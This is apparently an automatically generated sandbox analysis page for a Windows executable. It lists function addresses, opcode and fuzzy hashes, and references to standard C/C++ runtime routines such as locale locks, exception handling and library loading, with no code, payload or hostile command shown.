Opcode ID: dd508fb2eb488edaf68b778ccb69d5fbf80095a4700453bc25d13363f741229f
Instruction ID: 309deaad0c6c40aa60fb7082b7f0a284561dd79ceb3608c97e66cf29be50ae22
Opcode Fuzzy Hash: dd508fb2eb488edaf68b778ccb69d5fbf80095a4700453bc25d13363f741229f
Instruction Fuzzy Hash: 3171996320638286D354CB79C149A8F7372FB25E08F3AC5398A48DE421E7AB854FD75D

Function 00007FF6C785D600 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae06fb52789640934f630e7a9781bee4da1b21abc1da11e18385d3515b4c13f4
Instruction ID: 89017b7095616f708e8f5db45d0bfd17cfd2cc9034eedeb06edc40d12c5a7e68
Opcode Fuzzy Hash: ae06fb52789640934f630e7a9781bee4da1b21abc1da11e18385d3515b4c13f4
Instruction Fuzzy Hash: 90619A6320638286D354CB79818968B7372FB25E08F3AC139CA48DE021E7AB854FD75D

Function 00007FF6C785E130 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1eeac5ed2747b2a6fc5aa24d4ec808a47ceb74adb1beb6636bb708bc29fd1dc
Instruction ID: 5958419ddb7ff1dc65fb6f45cd90cd36ab2707d7199f9215317dd427bf5dea99
Opcode Fuzzy Hash: e1eeac5ed2747b2a6fc5aa24d4ec808a47ceb74adb1beb6636bb708bc29fd1dc
Instruction Fuzzy Hash: 3A519C6320638296D754CB39818968B7372FB25E08F3AD1388A48DE431E7AB854FD75D

Function 00007FF6C785D920 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f92d5449a96ce308ed85680754bfba175086ead637a911d178b3dfc618404d
Instruction ID: c471796798ccf831849b5f49f2a6da941a0dd1e0b1d108ca38ce6c6b550b85b9
Opcode Fuzzy Hash: 36f92d5449a96ce308ed85680754bfba175086ead637a911d178b3dfc618404d
Instruction Fuzzy Hash: A141A86320639286C754CB3D918564F6772FB24E08B36D1388A58DE430F7AB868FD75C

Function 00007FF6C785E010 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba638456fca968f664461109a58dbe09f34695100afe40ee1b5b01cd6d3d3dae
Instruction ID: c0cc3c36b436e862749b672a93c7d68f6e888b073f4a9f622aab4a5ae5a3b501
Opcode Fuzzy Hash: ba638456fca968f664461109a58dbe09f34695100afe40ee1b5b01cd6d3d3dae
Instruction Fuzzy Hash: 19315F37206AA2C7D746EF34C065AEE77B0FB58F14722844AC72243651F774925DC74A

Function 00007FF6C78902B0 Relevance: .1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9d1623631322c0f436638ea519f1399f6939127f5aa1a546842922f7336e0d
Instruction ID: e02f2dcd624577c5d85e4a1f1dc871e0b16862a80dc6ee5798f6ed3dd1dc8489
Opcode Fuzzy Hash: 9f9d1623631322c0f436638ea519f1399f6939127f5aa1a546842922f7336e0d
Instruction Fuzzy Hash: DA21804794F6C74AE3A24F640DA71982FE5AB77615B4E50BAC7C4D72C3DD0F28099312

Function 00007FF6C785F9F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d51e850fe667c707d3badd8f9ba365bbb31719ed8d80b2d7b32bfcf5c63edb4
Instruction ID: f22f88d6cda6a452f9e263223f856862033a7adbb0b2041657fc9207242bc6b4
Opcode Fuzzy Hash: 6d51e850fe667c707d3badd8f9ba365bbb31719ed8d80b2d7b32bfcf5c63edb4
Instruction Fuzzy Hash: 3D217F37206AA2C7D786EF34C06AAEE73B0FB58F14712844AC72643641F778925CC74A

Function 00007FF6C785CF70 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fafd1ae8305a66fa78aa1aff9ed54bcdddf7d7407dd5e02ef2bdfdcf7ca46b3
Instruction ID: 17d362827fbd44919fdf3c358e56f19a7cc0357e146ce98ad1ee00318b05067f
Opcode Fuzzy Hash: 6fafd1ae8305a66fa78aa1aff9ed54bcdddf7d7407dd5e02ef2bdfdcf7ca46b3
Instruction Fuzzy Hash: 1311F2770052C6D6C746CFB5C0819DAF3B5FB18F0476AC62B820487110FB39D2AACB89

Function 00007FF6C788D660 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a8157cee50fd3f03e0551a7c89415d97fe978660816f2e4eb80491d6b52f69
Instruction ID: 0a4ec16c06a9a7897fab86c67a0468d2461f9648072b9db243c407ea30460c79
Opcode Fuzzy Hash: 03a8157cee50fd3f03e0551a7c89415d97fe978660816f2e4eb80491d6b52f69
Instruction Fuzzy Hash: EAF06271B1A6958ADBE4CF28E8466297FE0E7483D5F908039D6DDC7F94DA3C90A18F04

Function 00007FF6C785E3B0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2dd7a115447fe4d835552ee6c2ffec107b23a75132875a260b46f0f23fdc50f
Instruction ID: 22f19d0304595e824c2581d9b9935a4c167e222997acc99a748f38f79def1c73
Opcode Fuzzy Hash: a2dd7a115447fe4d835552ee6c2ffec107b23a75132875a260b46f0f23fdc50f
Instruction Fuzzy Hash: FCF000770052C696C746CBB5C08189AF3B5FB19F0576AC62B820087110FA69E2AAC789

Function 00007FF6C785D240 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4d63f2e6c65e337cc8d1ee1b814bbe38b6355ed5e2c3e407f4dfb9366f681a
Instruction ID: f1d5e76421cb110912c04eddf473b1736db0f70d93b85c8d0a9c62a99081382c
Opcode Fuzzy Hash: ea4d63f2e6c65e337cc8d1ee1b814bbe38b6355ed5e2c3e407f4dfb9366f681a
Instruction Fuzzy Hash: F4F0916310625292CB58CF39C14105BA772FF64F0937AC5388A188A124E3BEC65BD79C

Function 00007FF6C785D090 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e895a8854d57fab48baa2fcb91a05f682f1ba31858384382d4fba5be47ac01
Instruction ID: 341e868af591827babe58d6f45bc481a699d8e8dac2fc14a39424cc952d5f510
Opcode Fuzzy Hash: 78e895a8854d57fab48baa2fcb91a05f682f1ba31858384382d4fba5be47ac01
Instruction Fuzzy Hash: 37F0AA2310629292CB48CF39C04005BA372FF64F0937AC5388A188A124E3BEC68BD798

Function 00007FF6C785DA90 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35763b16fc0ea44f54ad57ee831f0ab1efb1a630dc7c22efc4e6bfc2802b83ba
Instruction ID: f336dc9e9e796dbca2417acabbfdbdc146d6fc81571ab6155e8ffc60699b122a
Opcode Fuzzy Hash: 35763b16fc0ea44f54ad57ee831f0ab1efb1a630dc7c22efc4e6bfc2802b83ba
Instruction Fuzzy Hash: 86E0D12310629292CB08CF39C04005AA372EF64F0837AC0388A088A124E3BEC64BD398

Function 00007FF6C78685D4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 764c504831dcae6fed4f72b279cc35c02a426ea737900707234b1a4de097a301
Instruction ID: 8988677982b23f22eccfaab8a3e8e6c15e6c9044f283cf7483cb65e34bd15843
Opcode Fuzzy Hash: 764c504831dcae6fed4f72b279cc35c02a426ea737900707234b1a4de097a301
Instruction Fuzzy Hash: D6A0022291EC03F0E6848F01E8541302B30FB60302B840133D68DC10A4FF3DA640D744

Function 00007FF6C7890008 Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e8a7a31c33a269a59c1538be2bd036b2d1bd0459060e45bf358329a224fa751
Instruction ID: 227d60d4e3976e3cc6d276643604bb099d91ca20d1322c60905afdab92b8c05f
Opcode Fuzzy Hash: 5e8a7a31c33a269a59c1538be2bd036b2d1bd0459060e45bf358329a224fa751
Instruction Fuzzy Hash:

Function 00007FF6C785DBC0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DC89
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DCB6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DCE3
std::_Facet_Register.LIBCPMT ref: 00007FF6C785DD64
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DD85

Strings

ios_base::badbit set, xrefs: 00007FF6C785DEAD
ios_base::failbit set, xrefs: 00007FF6C785DEB9
ios_base::eofbit set, xrefs: 00007FF6C785DEC0

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 0f7fa71a9fe66e1fc95adaf3505383be2ab9a784402976e13fa3ff9bca43f5ea
Instruction ID: 7f1d1cc578da2c72753a30e0ff6af965e3afc371a3d9bd4b4df467a8a28ebe0c
Opcode Fuzzy Hash: 0f7fa71a9fe66e1fc95adaf3505383be2ab9a784402976e13fa3ff9bca43f5ea
Instruction Fuzzy Hash: 5491AC32A0AA8696EB54DF15E4853B97BA0FB84B92F544132DF8E837A4DF7CD845C300

Function 00007FF6C786E978 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C786E9B8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C786ED80
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C786F01F

Strings

p, xrefs: 00007FF6C786EA5D
f, xrefs: 00007FF6C786EABA
p, xrefs: 00007FF6C786EAC2
f, xrefs: 00007FF6C786EA50
f, xrefs: 00007FF6C786EC05

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: ef20db07cd8982639cb62bae59e5f91ae9733d25f82086f8cb52826f578afae3
Instruction ID: 7131050cac52195a3804cc435858655a2b5776e9d9e2a362bea6716d67400452
Opcode Fuzzy Hash: ef20db07cd8982639cb62bae59e5f91ae9733d25f82086f8cb52826f578afae3
Instruction Fuzzy Hash: DD12A521A2E143A6FB205F14E0487B97AA5FB40752F984131E7D9C75C4DF7CEA80CB21

Function 00007FF6C786A42C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6C786A489

Part of subcall function 00007FF6C786C7FC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6C786C83F
Part of subcall function 00007FF6C786C7FC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6C786C864

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6C786A561
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6C786A7AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C786A8BC

Strings

csm, xrefs: 00007FF6C786A50A
csm, xrefs: 00007FF6C786A4A3
csm, xrefs: 00007FF6C786A584

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 423362bbb715d2795c057120a6b42bd2485c1799cc69fa04143f818ce7cdd50b
Instruction ID: e8f562bb088ec53a3f36fdd455aa0af60d3a7db0084232bfacd37e316287c43b
Opcode Fuzzy Hash: 423362bbb715d2795c057120a6b42bd2485c1799cc69fa04143f818ce7cdd50b
Instruction Fuzzy Hash: 28D18A22A297419AEB209F65D4803AD7BA4FB45B89F100135EBCDD7B96DF3CE681C701

Function 00007FF6C7861EF0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7861F29
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7861F4E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7861F78
std::_Facet_Register.LIBCPMT ref: 00007FF6C7861FF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7862013
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C786206F

Strings

invalid string position, xrefs: 00007FF6C7862084

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: invalid string position
API String ID: 2081738530-1799206989
Opcode ID: fb0e87724d7bafdbaa693a83112c149b3eaf14ca156fab27724b0630734682c2
Instruction ID: 975f76fc7e580391abf3ab05fb83125a7c336c65300843254a45a71eac6a4566
Opcode Fuzzy Hash: fb0e87724d7bafdbaa693a83112c149b3eaf14ca156fab27724b0630734682c2
Instruction Fuzzy Hash: D0819322A1AA4295EE15DF19D8402B97B60FB84BE6F188131DF9DC77A5DF3DE542C300

Function 00007FF6C787B2D4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF6C787B450
GetProcAddress.KERNEL32 ref: 00007FF6C787B45C

Strings

api-ms-, xrefs: 00007FF6C787B39A
ext-ms-, xrefs: 00007FF6C787B3AD

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 720a303292af339a0c062d452de7dc2e26e36da20086ac8bab5a24fa68cd03b5
Instruction ID: 399819887e29313256d796c49167d550b6f183e0dfef1d2b1b8373ec075c0074
Opcode Fuzzy Hash: 720a303292af339a0c062d452de7dc2e26e36da20086ac8bab5a24fa68cd03b5
Instruction Fuzzy Hash: 0941D321B1BA0241EA15CF16A8506762ED6BF05FA2F494235EF9FC7B94EE3CE4458300

Function 00007FF6C7879A64 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7879AA7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7879E94
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C787A130

Strings

